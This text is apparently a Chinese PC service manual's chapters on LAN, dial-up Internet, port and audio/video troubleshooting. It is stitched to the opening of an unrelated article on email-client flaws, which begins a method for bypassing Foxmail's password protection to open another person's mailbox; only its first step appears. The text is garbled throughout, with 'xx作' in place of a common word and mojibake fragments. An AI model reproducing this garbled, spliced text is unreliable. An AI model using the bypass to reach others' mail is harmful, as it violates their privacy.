    A. 检查硬盘是否有足够的剩余空间,并检查临时文件是否太多。整理硬盘空间,删除不需要的文件;
    B. 对于系统文件损坏或丢失,可以使用系统文件检查器进行检查和修复;
    C. 检查xx作系统是否安装了合适的系统补丁(对于Winnt可在启动时观察service pack的版本,推荐使用SP6;Win2k和Winxp可以在系统属性中查看,Win2k推荐使用SP3,Winxp推荐使用SP1。);
    D. 检查DirectX驱动是否正常,升级DirectX的版本;
    E. 检查是否正确安装了设备的驱动程序,并且驱动的版本是否合适。检查驱动安装的顺序是否正确(例如:首先安装主板驱动)。
    4) 检查是否由软件冲突、兼容引起故障
    A. 检查用户应用软件的运行环境是否与现有的xx作系统(NT/98/2K/XP)相兼容,可通过查看软件说明书或到应用软件网页上查找相关资料,并查看网页上有没有对于此软件的升级程序或补丁可安装。
    B. 可用任务管理器观察故障机器的后台是否有不正常的程序在运行,并尝试关闭程序只保留最基本的后台程序。
    C. 注意查看故障机内是否有共用的DLL文件,可通过改变安装顺序或安装目录来解决问题。
    5) 检查硬件设置是否不正确
    A. 首先,检查CMOS设置是否正确,可恢复默认值;
    B. 在设备管理器中检查硬件是否正常,中断是否有冲突,如有冲突,调整系统资源(对于某些硬件,要阅读说明书,按照说明正确设置硬件);
    C. 在设备管理器中将硬件驱动删除,重新安装驱动程序(最好安装版本正确的驱动程序),查看硬件驱动是否恢复正常;
    D. 运行硬件检测程序,如AMI等检测硬件是否有故障;
    E. 在软件最小系统情况下, 重新更新硬件驱动,观察故障是否消失。
    6) 检查是否为兼容问题
    A. 遇到兼容性问题时,应检查硬件的规格和标准(如同时使用多条内存时检查内存是否为同一厂家、同一规格、同一容量、内存颗粒同一批次),是否允许在一起使用。
    B. 阅读说明书或到网页上查找相关资料,检查用户的硬件正常使用所需的软件要求,现在的软件环境是否符合要求,软硬件之间是否相互支持。
    C. 在设备管理器中检查用户的系统资源是否有冲突,如有冲突,手动调整系统源。
    D. 在设备管理器中检查用户机器的硬件的驱动是否安装正确,更新合适版本的设备驱动(如某些显卡用WIN2000或WINXP自带的公版驱动,会造成某些大型3D游戏无法运行);
    E. 检查维修BOM,去除非联想的硬件,检查系统是否可正常工作,如可正常工作,建议用户更换自行添加的硬件或查找硬件相关资料进行解决。
    7) 检查是否由于网络故障引起
    A. 碰到机器连接在网络上,出现死机、运行慢、蓝屏等故障时,应首先关闭网络,与网络环境隔离,观察故障是否消失,如故障消失,则为网络问题引起故障。
    B. 确为网络问题引起的故障,其判断与解决步骤参考网络部分。
    8) 检查是否由于硬件性能不佳或损坏引起
    A. 使用相应的硬件检测程序,检查硬件是否有故障,如果有,利用替换法排除相应的硬件;
    B. 用替换法检查检测程序无法判断的硬件故障。

    第七章 局域网类故障
    一、定义举例
    这类故障主要涉及局域网宽带网等网络环境中的故障。
    二、可能的故障现象
    1、 网卡不工作,指示灯状态不正确;
    2、 网络连不通或只有几台机器不能上网、能Ping通但不能连网、网络传输速度慢;
    3、 数据传输错误、网络应用出错或死机等;
    4、 网络工作正常,但某一应用下不能使用网络;
    5、 只能看见自己或个别计算机;
    6、 无盘站不能上网或启动报错;
    7、 网络设备安装异常。
    8、 网络时通时不通。
    三、可能涉及的部件
    网卡、交换机(包括HUB、路由器等)、网线、主板、硬盘、电源等相关部件。
    四、判断要点/顺序
    1. 维修前的准备
    1) 可用的网线(直连线和普通网线,线序符合国际标准);
    2) 如有条件,带上网线连接检查器。
    2. 环境检查
    1) 电源连接检查:
    A. 市电的接线定义是否正确;
    B. 是否有地线;
    C. 网络上的各设备(如:HUB、交换机等)是否均已上电工作。
    2) 网线连接检查:
    A. 网线连接线序是否与网络连接的要求匹配(如直连和普通网线);
    B. 网线的连通性是否正常,要查看网线有无破损、过度扭曲;
    C. 网线长度是否过长(如5类双绞线长度超过技术规格要求的100米);
    D. 网线接头——水晶头是否完好、是否氧化;
    E. 网卡接口是否完好。重新插拨网线检查网线与网卡连接是否松动;
    F. 根据电缆要求是否有终结器,终结器是否正常。
    3) 网络设备外观及周边检查:
    A. 加电启动后,网卡指示灯是否亮等;
    B. HUB等设备的网线接口,在与终端或服务器连接后,如果终端或服务器启动及配置正常,其指示灯会亮(注意指示灯颜色是否正常,参考设备说明书),如果指示灯不亮,说明设备有故障;
    C. 网卡部件是否接插到位无翘起,网卡上金手指是否氧化;
    D. 网线或交换机等设备周围是否有干扰。
    4) 主机外观检查:
    A. 检查机箱内是否有异物造成短路;
    B. 机箱内的灰尘是否过多,如果是,应清理灰尘;
    C. 主板与网卡上元器件是否有变形、变色现象;
    D. 加电后,注意部件、元器件及其它设备是否有异味、温度异常等现象发生。
    5) 其它方面:
    A. 在UNIX下,要分清是终端死机还是服务器死机
    3. 故障判断要点
    1) 寻求用户网管的配合。
    首先应尽可能与网管联系,以得到网管合作。
    2) 网络环境检查:
    A. 对于掉线、丢包等故障,要注意检查网卡与交换机间的兼容性;
    B. 网络连接正常,但不能进行域登录,要从以下几点检查:
    a) 指明的域名是否存在或已工作;
    b) 是否已按服务器、xx作系统的要求(如在服务器端启用了WINS解析服务、DNS服务等,WINXP HOME版不能登录到域中。),设置终端允许登录到域中,计算机名是否已注册到域中;
    c) 检查使用的协议是否正确;
    C. 检查是否安装了防火墙,是否被授权访问;
    D. 在必要时,使用直连线只连接两台机器在对等网环境下检查是否可连网(这样做可排除网络上诸环境因素的影响)。
    3) 网络适配器驱动与属性检查:
    A. 驱动程序是否正确、合适。网卡设备建议由系统自动识别,并尽可能使用与xx作系统匹配和更新的驱动程序(只有老型号的ISA网卡才可使用手动安装的方法进行驱动的安装)。在安装驱动程序时,如有必要,可将启动中加载的和正在运行的程序关掉,再行安装;
    B. 网卡在某一网络环境下工作不正常,可调整网速,如对于10/100Mbps的网卡,如果工作在10Mbps的网络环境下,网络工作不正常,应特别指定网卡工作在10Mbps的速度上;
    C. 检查网络通信方式,如是否为全双工等。
    4) 网络协议检查:
    A. 检查网络中的协议等项设置是否正确(不管用哪种协议,必须保证网内的机器使用的协议一致)。网络中是否有重名的计算机名;
    B. 如果不能看到自己或其它计算机,先通过按F5多刷新几次来检查,然后检查是否安装并启用了文件和打印共享服务、是否添加了NETBEUI协议(如果网络环境中有WINS服务器,则不需添加,如没有则要添加);
    C. 如能ping通网络,但不能在网上邻居中访问其它终端或服务器,可用ipconfig /all(在命令行方式)、netstat等命令查看具体信息,检查网络属性的设置,如域、工作组等,并进行相应的更改;
    D. TCP/IP协议的实用程序ping命令,可用来检查网络的工作情况。这需要维修人员了解TCP/IP协议的相关知识(顺序:PING 127.0.0.1,本机IP、本网段IP、网关、DNS等);
    E. 如果PING不通,可尝试在网络属性中把所有的适配器和协议删除,重启后重新安装;
    F. 通过执行tracert <目标IP地址>命令,检查IP包在哪个网段出错;
    5) 系统设置与应用检查:
    A. 检查机器自检完成后,所列的资源清单中网卡是否被列其中(非PNP网卡除外),其所用资源与其它设备有无共享;
    B. 检查系统中是否有与网卡所用资源相冲突的其它设备,如有,可通过更换设备间的安装位置,或手动xx作更改冲突的资源。对于ISA总线的网卡,可能需要在CMOS中关掉其所占中断的PnP属性,且其所用资源一般不宜与其它设备共享。较老的PCI设备也不宜与其它设备共享资源;
    C. 检查系统中是否存在病毒;
    D. 如果某一特定的应用在使用网络时工作不正常,检查CMOS设置是否正确,重点检查网卡的驱动程序是否与其匹配,必要时,关闭其它正在运行的应用程序,及启动中加载的程序,看是否能正常工作,或与能够正常运行该应用的机器进行比较,检查在配置方面有何不同;
    E. 通过重新安装系统,检查是否由于系统原因而导致网络工作不正常。
    6) 硬件检查:
    A. 用网卡自带程序和网卡短路环检测网卡是否完好;
    B. 如更换网卡后仍不正常,可更换主板,更换主板仍不能解决时,可考虑更换其它型号网卡;
    7) 对于无盘站,注意检查以下几点:
    A. BIOS中是否允许了从网络启动,BIOS中最好禁用软驱,将"Report No FDD For Win 95",由Yes更改为No(或反之。这与软驱的设置有关)
    B. 对于ISA网卡,其BIOS的设置,应使BOOT ROM默认的起始地址为D800H 或C800H,I/O为300H(如有些网卡的默认设置为C800H容易与AGP显卡等部件占用的地址资源冲突导致安装失败)。;
    C. 在以上xx作无效时,对有些主板,屏蔽板载声卡,再根据需要进行相应的修改。
    D. 工作站的协议必须与服务器协议一致;
    E. 有多台服务器时,必须指定第一响应服务器。
    对于无线网络,特别要注意:
    A. 检查两台终端间的有效距离是否过大,中间是否有隔离物;
    B. 对等网络下,所使用的频率通道是否一致;
    C. 在用AP的环境下,终端的网络ESSID必须与AP一致;
    D. 检查网卡和AP的密钥的密钥是否相符。
    五、本类故障的判断流程
    见附录一之(七)。
    六、案例
    案例一:
    问题描述:网卡不工作,指示灯状态不正确;
    解决方案:首先观察系统设备管理器中有没有网卡这个设备,若没有则更换网卡或重新插拔网卡测试,并看金手指部分有没有锈迹,若有,则用橡皮擦干净测试。

    案例二:
    问题描述:局域网内,只有几台机器能连网,大部分不能互访。网卡灯亮,HUB灯闪
    解决方案:见到这种情况,要从软硬两个方面来分析,首先:
    a、软件方面,使用最新版本的KV3000进行了查、杀病毒工作,没有发现任何病毒,从而排除了病毒干扰的可能性。网络方面,安装了NetBEUI、IPX/SPX和TCP/IP协议,网卡的驱动也正确安装,在设备管理中没有发现任何冲突,并进行了协议绑定。设置了文件、打印机共享,也设定了工作组名称和计算机名称。应该说从网络协议到共享资源设置等均没有问题,可以排除软件方面的错误。
    b、从硬件方面分析,大致有四种可能:其一是网线断路,无法形成信号回路;其二是网线的线序是否正确;其三是在集线器与计算机间连接用的网线过长,超过100米;其四集线器端口有问题。针对这四种可能性,逐个进行排除。使用测线工具或万用表测量网线,发现网线连接状况很好,没有断路。通过目测,连接用的网线长度不可能超过100米。将几台网络已连通的计算机接在集线器上的插口换到怀疑损坏的集线器端口上,这几台计算机仍然互通,说明集线器端口没有损坏。
    c、通过对网线线序的检查,发现用户的制作的线序是1、2、3、4,问题就出在这儿,因为RJ45插头正确的连接应该是使用1、2、3、6,其中1、2是一对线,3、6是一对线,其余四根线没有定义。查出了问题,只需为用户重新做网线头,插入后网络正常。

    案例三:
    问题描述:脑在“网上邻居”中只能看到自己,而看不到其他电脑,从而无法使用其他电脑上的共享资源和共享打印机
    解决方案:使用ping命令,ping本地的IP地址或主机名,检查网卡和IP网络协议是否安装完好。如果能ping通,说明该电脑的网卡和网络协议设置都没有问题。问题出在电脑与网络的连接上。因此,应当检查网线和Hub及Hub的接口状态,如果无法ping通,只能说明TCP/IP协议有问题。重新设置网络协议,对于10台以下的机器且不上Internet的机器可考虑用NetBEUI协议,若上Intrnet则用TCP/IP协议,不管用哪种协议,必须保证网内的机器使用的协议一样。

    案例四:
    问题描述:无盘站不能上网或启动报错;
    解决方案:
    NOVELL无盘工作站不能正常登录服务器有以下几种情况:
      a.工作站屏幕上出现“Error opening boot disk image file ”OR“Unable to open image file”
      这可能是连到了一个没有包含远程启动映像文件的服务器。把启动映像文件拷到这个服务器的Login目录下;如果使用的是多远程启动映像文件,检查Bootconf.sys中对工作站是否进行了正确设置,应确保网络地址和节点地址的正确,如果以上都正确,那么可能是远程启动映像文件有问题,可以测试生成启动映像文件的软盘能否正常启动有盘工作站。若还不行,可以运行一下RPLFIX实用程序。
      b.工作站屏幕上出现“Error finding server”
      在确保硬件线路连接没问题的前提下,检查服务器上是否安装了“Ethernet_802.3”帧类型,远程启动映像文件的net.cfg 中是否包含Ethernet_802.3,这种就是前面所说的旧型的IPX芯片,它不支持Ethernet-802.2帧。按照相应的帧类型重新制作启动映像文件。
      c.工作站在从远程启动映像文件装入网卡驱动时挂起,屏幕并显示下面类似信息:Ethernet card is improperly install or net connected the network.
      这就是由于前面所说的旧式IPX芯片在Netware 4.X以上使用时,在远程启动映像文件中没有RPLODI.com或远程启动映像文件的批处理文件中ISL.com下行没有RPLODI.com行。
      d.工作站显示“Loading MS-DOS”并挂起
      这是由于远程启动映像文件使用了DOS 5.0或以上版本,对远程启动映像的文件运行RPLFIX实用程序。
      e.屏幕上出现“batch file missing”
      出现这个消息是由于autoexec.bat或其它批处理文件(对多个远程启动映像所使用的批处理)没有同时存在于LOGIN目录和用户登录目录。

    第八章 Internet类故障
    一、定义举例
    主要是与浏览Internet有关的软、硬件故障。如:不能拨号、不能浏览网页等。
    二、可能的故障现象
    1、 不能拨号、无拨号音、拨号有杂音、上网掉线;
    2、 上网速度慢、个别网页不能浏览;
    3、 上网时死机、蓝屏报错等;
    4、 能收邮件但不能发邮件;
    5、 网络设备安装异常;
    6、 与调制解调器相连的其它通信设备损坏、或反之。
    三、可能涉及的部件
    调制解调器、电话机、电话线、局端。余类同 “局域网类故障”。
    四、判断要点/顺序
    1、 环境检查
    1) 周边及外观检查:
    A. 市电的接线定义是否正确,是否有地线;
    B. 外置MODEM附近是否有变压器等设备或其它可造成干扰的电器设备;
    C. 电话是否有防盗打功能,是否安装了IP电话拨号器、传真机等外部设备。这些外部设备连接是否正确,工作是否正常(单独工作和连机情况下);
    D. 检查机箱内灰尘是否较多,是否有异物造成短路,插接部件是否接插到位,无翘起;
    E. 主板、MODEM或宽带上网网卡上元器件是否有变形、变色等现象;
    F. 网卡接口接触是否良好;
    G. 加电后注意部件、元器件及其它设备是否有异味、温度异常等现象发生。
    2) 信号线连接:
    A. 电话线是否正确连接,连接的电话线是否正常,用户的电话是否为分机,是否有来电提醒;
    B. 拨打的电话号码是否有限制;
    C. 宽带上网其网线定义是否正确,能否连通,有条件的话将机器更换环境(如:到邻居家中或回站)后再进行测试,以验证是否为连线问题;
    2、 故障判断要点
    1) MODEM配置检查:
    A. 检查CMOS中的设置是否正确。MODEM设备是否被系统认到;
    B. 软件最小系统加MODEM,检查故障现象是否消失。如消失。则是硬件之间的不兼容或资源冲突造成的故障;
    C. 在设备管理器中检查MODEM驱动是否正确,是否有资源冲突。MODEM支持的协议是否与局端不兼容。在驱动不正确时,可能会造成上网掉线、上网速度慢等现象。将原MODEM驱动删除(最好在控制面板——调制解调器中将MODEM删除),安装主板驱动后重新安装MODEM驱动程序;
    D. MODEM设备属性设置是否正确(如使用的连接速度等)。
    2) 拨号器/拨号过程检查:
    A. 检查用户所用的拨号程序,是否为第三方的软件,建议用一新建的拨号连接,拨号上网(最好能不用用户的账号),检查是否能拨号,是否报错;
    B. 注意察看报错信息,初步判断故障原因(如:报680错误,是没有拨号音,678错误,是远程服务器没响应等);
    C. 用户是否有权访问Internet网络。
    3) 网络属性及协议检查:
    A. 如果是通过服务提供商来拨号上网的,除一定要安装IP协议外,不应对IP地址等参数进行设定。其它上网方式,应按要求进行相关的设定;
    B. 使用的拨号协议是否与服务商要求的一致(如使用PPP协议等)。
    4) IE检查:
    A. 对于Windows 98系统,如果IE有故障,建议升级IE到5.5版本,或打补丁;
    B. 检查IE属性设置是否正确,检查IE是否因上某一网站而被修改。如果临时文件过多,可造成上网后无法浏览网页(可在IE属性中删除临时文件等。关于删除的方法,见本章之后)。是否因为没有安装某些网站所必须的插件,而造成不能浏览网页。检查IE中的安全级别设置,和分级检查设置,恢复成默认值;
    C. 检查是否因上某些网站,造成系统被修改(如注册表被禁用等);
    D. 检查用户的软件环境,是否由于防病毒、防火墙之类的软件,或其设置不正确,造成浏览困难。
    5) 系统检查:
    A. 检查系统中是否有病毒;
    B. 在MSCONFIG中关掉所有启动时加载的程序,关掉所有正在运行的程序。防止软件冲突造成的无法上网;
    C. 必要时重新安装xx作系统进行测试。
    6) 硬件检查:
    A. 更换MODEM所在的插槽,重新检测MODEM并安装驱动,如果无法上网,更换MODEM测试;
    B. 如果是在雷雨后出现不能拨号等现象,除检查电缆线及其上的其它设备是否损坏外,应查MODEM是否已损坏;
    C. 如还不能上网,注意检查其它硬件;
    7) 宽带上网如出现故障,还需检查:
    A. 检查网卡驱动是否安装正确;
    B. 用闭环测试网卡是否正常;
    C. 根据当地实际情况将拨号属性设置正确,根据宽带上网说明重新安装拨号软件,设置各项设置;
    D. 更换不同型号网卡进行测试,排除不兼容现象;
    E. 联系电信局或小区网管检查网络环境或连接设备;
    F. 对于自动上网的,代理服务器不要进行设置,对于早期的宽带网,需要设置IP。
    五、本类故障的判断流程
    见附录一之(八)。
    六、案例
    案例一:
    问题描述:
    一客户机器采用98xx作系统,在拨号上网时发现网页无法打开,但右下脚确实有链接的图标,发现无网络流量,但多拨几次后问题解决,此问题复现无规律,客户需要解释原因并证明不是机器的问题。
    解决方案:客户要求给予一个合理的解释,因为机器并非无法上网,了解到这一点就应该从软件方面来考虑,不能一上来就换硬件,给客户感觉不好。
    机器可以正常拨号说明机器的Modem硬件和驱动没有问题,但仔细观察后发现网络流量为0,说明机器并没有在网上,右下脚的链接符号可能是一种假相,使用ipconfig/all命令发现机器没有获得IP地址,为什么会有这种现象呢I诵纳能会和电信接入端有关,反复测试几次拨号上网,发现只要拨号后如果获得IP地址就一定可以上网,如果没有获得IP地址,就一定无法打开网页,客户看到这种现象后基本认可我的说法,并希望通过重新安装xx作系统来看是否可以解决,通过重新安装98xx作系统后问题依旧,客户已认为机器没有问题,在新的98下我为客户用另外一种方式进行测试,即用98里边的超级终端来拨号,原因是超级终端在拨号时可以看到拨号的全过程,是否可以得到IP地址,在使用超级终端拨号5-6次后发现有一次没有得到IP地址,至此客户完全信服了,正真的原因在于电信的局端,而不是在于机器本身。

    案例二:
    问题描述:客户机器所装的xx作系统为98,除安装Modem外,还加了一块网卡,客户机器平时使用网卡上局域网的,网卡获得IP是采用DHCP方式,但在拨号时无法拨号上网,可是有拨号音,客户要求彻底解决。
    解决方案: 客户以前曾经用过Modem拨号上网,现在无法使用,情绪较激动,除了解决外还需要充分的沟通,因此处理的过程很重要。
    我在测试时发现故障复现,经过和客户沟通,发现客户以前确实可以拨号上网,最近由于安装了一块网卡,局域网可以上,拨号是用不成了,从和客户的沟通后,我认为不是机器本身的问题,还是和设置及xx作系统本身有关,因为在2000下别的机器上是没有此问题的。首先我将网卡屏蔽掉,然后测试拨号上网,发现故障消失,难道和网卡有关,将网卡打开,发现可以拨号上网,问题解决!怎么回事,重新启动后发现局域网上去后拨号再次出现异常,故障复现,使用超级终端拨号发现无法获得IP地址,OK,问题找到,但是什么原因造成无法获得IP地址呢I诵拇来和xx作系统有关,因为2000下并无此问题,应该在98下和网卡有关,由于此局域网是采用DHCP方式,我用winipcfg将网卡IP Realse,再次拨号故障解决,总算找出了问题的所在,反复启动并释放网卡IP后拨号正常,后经和微软工程师沟通,确定95和98确实有这种问题,但2000下已经解决了此问题,至此问题圆满解决,客户表示非常认可。

    案例三:
    问题描述:客户自己买了一个Modem,用此Modem可以拨号163/169上网,但其却无法拨到公司的局域网上收发邮件,客户希望协助解决,虽然客户的Modem不是标配的。
    解决方案:客户自己对电脑还是比较熟悉的,因此只是要求我们协助处理,查出真正的原因,所以在处理这个问题时尽量不要打开机箱,做换主板之类的xx作,重点要来考虑兼容性。
    因为可以拨到163上,无法拨到公司网上,所以我重点要看客户Modem的型号及协议,客户的Modem是国产同维的产品,支持V.90协议,客户公司的Modem是美国3COM的产品,也支持V.90协议,首先用超级终端拨号到公司,发现出现拨号音后2秒后自动断调,没有到获得IP地址的那一步,这就说明这两个Modem出现了兼容性问题,在握手阶段出现了问题,向客户解释清楚后,客户向其单位借了一个3COM Modem,首先用拨号网络测试一切正常,再用超级终端测试发现一切正常,客户非常认可,认为我们的测试方式很有说服力。

    附:在IE中删除临时文件可用以下几种办法:
    1、 打开IE浏览器,在工具—internet选项中删除临时文件,清空历史记录。(对于IE无法打开的可在这项里的设置中选“每次启动Internet Explorer”,或将Internet临时文件夹使用的磁盘空间加大;
    2、 在开始—设置—任务栏和开始菜单—开始菜单程序中选清除;
    3、 在c:\windows\history目录中将历史记录删除;
    4、 在c:\windowsTemporary Internet Files中删除所有文件;
    5、 使用网络实铭等第三方软件进行清除。

    第九章 端口与外设故障
    一、定义举例
    这类故障主要涉及串并口、USB端口、键盘、鼠标等设备的故障。
    二、可能的故障现象
    1、 键盘工作不正常、功能键不起作用;
    2、 鼠标工作不正常;
    3、 不能打印或在某种xx作系统下不能打印;
    4、 外部设备工作不正常;
    5、 串口通信错误(如:传输数据报错、丢数据、串口设备识别不到等);
    6、 使用USB设备不正常(如USB硬盘带不动,不能接多个USB设备等);
    三、可能涉及的部件
    装有相应端口的部件(如主板)、电源、连接电缆、BIOS中的设置。
    四、判断要点/顺序
    1、 维修前的准备
    1) 准备相应端口的短路环测试制具;
    2) 准备测试程序QA、AMI等——这些程序要求在DOS下运行;
    3) 根据站内的资源,准备相应端口使用的电缆线,如并口、打印机线、串口线、USB线等。
    2、 环境检查
    1) 连接及外观检查:
    A. 设备数据电缆接口是否与主机连接良好、针脚是否有弯曲、缺失、短接等现象;
    B. 对于一些品牌的USB硬盘,应向用户说明最好使用外接电源以使其更好的工作;
    C. 连接端口及相关控制电路是否有变形、变色现象;
    D. 连接用的电缆是否与所要连接的设备匹配(如:两台机器通过串口相连,就应使用空调制解调器连接线而不能使用MODEM线等)。
    2) 外设检查:
    A. 外接设备的电源适配器是否与设备匹配;
    B. 检查外接设备是否可加电(包括自带电源,和从主机信号端口取电);
    C. 检测其在纯DOS下是否可正常工作。如不能工作,应先检查线缆或更换外设及主板;
    D. 如果外接设备有自检等功能,可先行检验其是否为完好;也可将外接设备接至其它联想机器检测。
    3、 故障判断要点
    1) 尽可能简化系统,无关的外设先去掉;
    2) 端口设置检查(BIOS和xx作系统两方面):
    A. 检查主板BIOS设置是否正确,端口是否打开,工作模式是否正确;
    B. 通过更新BIOS、更换不同品牌或不同芯片组主板,测试是否存在兼容问题;
    C. 检查系统中相应端口是否有资源冲突。接在端口上的外设驱动是否已安装,其设备属性是否与外接设备相适应。在设置正确的情况下,检测相应的硬件——主板等;
    D. 检查端口是否可在DOS环境下使用,可通过接一外设或用下面介绍的端口检测工具检查;
    E. 对于串、并口等端口,须使用相应端口的专用短路环,配以相应的检测程序(推荐使用AMI)进行检查。如果检测出有错误,则应更换相应的硬件;
    F. 检查在一些应用软件中是否有不当的设置,导致一些外设在此应用下工作不正常。如:在一些应用下,设置了不当的热键组合,使某些键不能正常工作。
    3) 设备及驱动程序检查:
    A. 驱动重新安装时优先使用设备驱动自带的卸载程序,如Z32打印机;
    B. 检查设备软件设置是否与实际使用的端口相对应,如USB打印机要设置USB端口输出;
    C. USB设备、驱动、应用软件的安装顺序要严格按照使用说明xx作;
    D. 外设的驱动程序,最好使用较新的版本,并可到厂商的网站上去升级。


    第十章 音视频类故障
    一、定义举例
    与多媒体播放、制作有关的软硬件故障。
    二、可能的故障现象
    1、 播放CD、VCD或DVD等报错、死机;
    2、 播放多媒体软件时,有图像无声或无图像有声音;
    3、 播放声音时有杂音,声音异常、无声;
    4、 声音过小或过大,且不能调节;
    5、 不能录音、播放的录音杂音很大或声音较小;
    6、 设备安装异常。
    三、可能涉及的部件
    音、视频板卡或设备、主板、内存、光驱、磁盘介质、机箱等。
    四、判断要点/顺序
    1、 维修前的准备
    1) 除必备的维修工具外,应准备最新的设备驱动、补丁程序、主板BIOS、最新的DirectX,标准格式的音频文件(CD、WAV文件)、视频文件(VCD、DVD);
    2) 熟悉多媒体应用软件的各项设置,如WINDOWS下声音属性的设置、声卡/显卡附带应用软件的设置、视频盒/卡应用软件的设置等;
    3) 有针对性的了解用户的信息,主要了解:出现故障前是否安装过新硬件、软件、重装过系统(包括一键恢复)。
    2、 环境检查
    1) 检查市电的电压是否在允许的范围内(220V±10%);
    2) 检查设备电源、数据线连接是否正确,插头是否完全插好,如音箱、视频盒的音/视频连线等;开关是否开启;音箱的音量是否调整到适当大小;
    3) 观察用户的xx作方法是否正确;
    4) 检查周围使用环境,有无大功率干扰设备,如:空调、背投、大屏幕彩电、冰箱等大功率电器。如果有应与其保持相当的距离(50厘米以上);
    5) 检查主板BIOS设置是否被调整,应先将设置恢复出厂状态,特别检查CPU、内存是否被超频。
    3、 故障判断要点
    1) 对声音类故障(无声、噪音、单声道等),首先确认音箱是否有故障,方法:可以将音箱连接到其他音源(如录音机、随身听)上检测,声音输出是否正常,此时可以判定音箱是否有故障;
    2) 检查是否由于未安装相应的插件或补丁,造成多媒体功能工作不正常;
    3) 对多媒体播放、制作类故障,如果故障是在不同的播放器下、播放不同的多媒体文件均复现,则应检查相关的系统设置(如声音设置、光驱属性设置、声卡驱动及设置)。乃至检查相关的硬件是否有故障;
    4) 如果是在特定的播放器下才有故障,在其他播放器下正常,应从有问题的播放器软件着手,检查软件设置是否正确,是否能支持被播放文件的格式。可以重新安装或升级软件后,看故障是否排除;
    5) 如果故障是在重装系统、更换板卡、用系统恢复盘恢复系统、或使用一键恢复等情况下出现,应首先从板卡驱动安装入手检查,如驱动是否与相应设备匹配等;
    6) 对于视频输入、输出相关的故障应首先检查视频应用软件采用信号制式设定是否正确,即应该与信号源(如有线电视信号)、信号终端(电视等)采用相同的制式。中国地区普遍为PAL制式;
    7) 进行视频导入时,应注意视频导入软件和声卡的音频输入设置是否相符,如:软件中音频输入为MIC,则音频线接声卡的MIC口,且声卡的音频输入设置为MIC;
    当仅从光驱读取多媒体文件时出现故障,如:播放DVD/VCD速度慢、不连贯等,先检查光驱的传输模式,应设为“DMA”方式;
    9) 检查有无第三方的软件,干扰系统的音视频功能的正常使用。另外,杀毒软件会引起播放DVD/VCD速度慢、不连贯等(如瑞星等,应关闭);
    10) 软件检查
    A. 检查系统中是否有病毒;
    B. 声音/音频属性设置:音量的设定,是否使用数字音频等;
    C. 视频设置:视频属性中分辨率和色彩深度;
    D. 检查DirectX的版本,安装最新的DirectX。同时使用其提供的Dxdiag.exe程序,对声卡设备进行检查
    E. 设备驱动检查:在WINDOWS下“系统—设备管理”中,检查多媒体相关的设备(显卡、声卡、视频卡等)是否正常,即不应存在有“?”或“!”等标识,设备驱动文件应完整。必要时,可通过卸载驱动再重新安装或进行驱动升级。对于说明书中注明必须手动安装的声卡设备,应按要求删除或直接覆盖安装(此时,不应让系统自动搜索,而是手动在设备列表中选取);
    F. 如用户曾重装过系统,可能在装驱动时没有按正确步骤xx作(如重启动等),导致系统显示设备正常,但实际驱动并没有正确工作。此时应为用户重装驱动。方法可同上;
    G. 用系统恢复盘恢复系统、或使用一键恢复后有时会出现系统识别的设备不是用户实际使用的设备,而且在WINDOWS下“系统—设备管理”中不报错,这时必须仔细核对设备名称是否与实际的设备一致,不一致则重装驱动(如:更换过可替换的主板后声卡芯片与原来的不一致);
    H. 重装驱动仍不能排除故障,应考虑是否有更新的驱动版本,应进行驱动升级、或安装补丁程序。
    11) 硬件检查
    A. 用内存检测程序检测内存部分是否有故障。考虑的硬件有主板和内存;
    B. 首先采用替换法检查与故障直接关联的板卡、设备。声音类的问题:声卡、音箱、主板上的音频接口跳线;显示类问题:显卡;视频输入、输出类问题:视频盒/卡;
    C. 当仅从光驱读取多媒体文件时出现故障,在软件设置无效时,用替换法确定光驱是否有故障;
    D. 对于有噪音问题,检查光驱的音频连线是否正确安装,音箱自身是否有问题,音箱电源适配器是否有故障,及其他匹配问题等;
    E. 用磁盘类故障判断方法,检测硬盘是否有故障;
    F. 采用替换法确定CPU是否有故障;
    G. 采用替换法确定主板是否有故障。
    五、本类故障的判断流程
    见附录一之(十)。
    六、案例
    案例一:
    问题描述:用户报修同禧E5000电脑,安装的WINDOWS XP系统。用户在播放音视频文件,如VCD、CD、MP3等时,音箱里“滋滋”的噪音很明显。
    解决方案:
    一般看到此类问题,总是会先想到是音箱的问题,或者主板的声卡有问题。但是工程师先后更换音箱、主板都是故障依旧。此时维修陷入困境。
    其实只要仔细观察并思考一下,本着先软后硬的思路去观察,问题应该能很快解决的。此案例中,由于机器本身出厂是DOS系统,WINDOWS XP是用户自己安装的,声卡驱动也是WINDOWS XP自己认的,而恰恰是XP自带的驱动出了问题,造成用户报修的问题现象。只要安装随机驱动光盘里的相应的驱动程序,问题就迎刃而解了。

    案例二:
    问题描述:用户购买的未来先锋722机器,自己按装了 WINDOWS 98,发现播放CD时无声音。在声音控制里已经打开了CD的控制,并且把音量调节到最大了。
    解决方案:首先我们要知道这点,联想出厂预装WINDOWS XP的机器,已经不再配置光驱和声卡之间的音频线了,播放CD时都采用XP本身提供的数字音频功能直接播放。而WINDOWS 98不具备数字音频的功能。明白了这一点,用户的问题的答案也就明朗了。
    告诉用户机器标配中利用WINDOWS XP的数字音频功能播放CD,所以机器没有配置光驱音频线。而WINDOWS 98不支持数字音频功能,所以会产生这样的问题。建议用户还是使用WINDOWS XPxx作系统,或者自己添加一根音频线。
    从这个案例不难看出,对产品配置、技术规范的了解和掌握对于我们解决用户问题是很重要的保证。


     

    邮件客户端软件漏洞

    目前大家常用的电子邮件客户端软件较多,如:国内的Foxmail和263快信Winbox,国外的outlook express和The Bat !等,这些软件的用户非常多,人们对它们的安全度也非常的信任。其实,它们并不象大家想像的那么安全,看了本文你就知道了。

    本文主要内容
    一、Foxmial帐号转换漏洞 二、The Bat !口令保护被绕过漏洞
    三、Outlook 邮件被骗收 四、Outlook 标识不安全漏洞
    五、263快信WinBox漏洞

      先说说国内用户经常用到的Foxmail。Foxmail是著名的中文版电子邮件客户端软件,因其设计优秀、体贴用户、使用方便,提供全面而强大的邮件处理功能,具有很高的运行效率等特点,赢得了广大用户的青睐。在
    Foxmail中可以为不同的使用者建立不同的账户,每个帐户可以拥有自己的口令,来保护自己的信箱。但是,这个口令保护并不安全,用下面的方法可以可以轻松绕过口令保护,进入别人的信箱。

      1、打开Foxmail,在“帐户”里边新建立一个帐户,用户名可以任意,我们假设新建的用户名为123,完成后退出Foxmail。

